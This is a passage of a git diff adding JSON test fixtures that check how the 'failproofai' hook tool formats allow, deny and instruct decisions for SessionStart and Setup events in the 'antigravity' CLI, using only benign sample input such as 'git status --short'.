"permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked session start by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/SessionStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..0f08c01d --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/SessionStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..deb33753 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/SessionStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..9fca63e1 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/SessionStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..4eb772f9 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/SessionStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..8833258d --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/SessionStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..89cbaf15 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Setup/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/Setup/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..bbac9593 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Setup/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Setup/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/Setup/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..d9c4159b --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Setup/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Setup/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/Setup/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..a179ef04 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Setup/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Setup/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/Setup/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..2bfac50a --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Setup/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Setup/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/Setup/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..2bbc62f1 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Setup/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Setup/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/Setup/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..f8952205 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Setup/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Setup/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/Setup/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..04a0b52b --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Setup/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Setup/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/Setup/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..b31a3b18 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Setup/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Setup/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/Setup/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..8101663b --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Setup/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Setup/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/Setup/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..febe5217 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Setup/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Setup/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/Setup/deny__tool-present__one-policy.json new file mode 100644 index 00000000..4d498f0c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Setup/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Setup/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/Setup/deny__tool-present__two-policies.json new file mode 100644 index 00000000..1642d760 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Setup/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Setup/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/Setup/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..1d10d3b0 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Setup/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Setup/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/Setup/instruct__tool-absent__two-policies.json new file mode 100644 index 